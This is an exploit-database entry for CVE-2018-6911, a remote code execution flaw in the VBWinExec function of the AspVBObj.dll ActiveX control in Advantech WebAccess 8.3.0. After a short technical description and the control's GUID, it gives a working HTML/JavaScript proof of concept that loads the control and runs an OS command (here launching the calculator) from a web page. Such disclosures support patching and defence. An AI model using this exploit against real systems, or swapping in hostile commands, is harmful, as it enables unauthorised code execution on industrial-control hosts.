Advantech WebAccess 8.3.0 - Remote Code Execution

Author: Nassim Asrir
type: remote
platform: windows
port: 
date_added: 2018-02-13  
date_updated: 2018-02-13  
verified: 0  
codes: CVE-2018-6911  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 44031.html  
Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution

Discovered by: Nassim Asrir

Contact: wassline@gmail.com / https://www.linkedin.com/in/nassim-asrir-b73a57122/

CVE: CVE-2018-6911

Tested on: IE11 / Win10


Technical Details:
==================

The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.

Vulnerable File: C:\WebAccess\Node\AspVBObj.dll

Vulnerable Function: VBWinExec

Vulnerable Class: Include

Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.

Function VBWinExec (
 	ByRef command  As String
)

Exploit:
========

<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
 <object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>

<SCRIPT>

function exploit()
 {

     rce.VBWinExec("calc")


 }

</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML>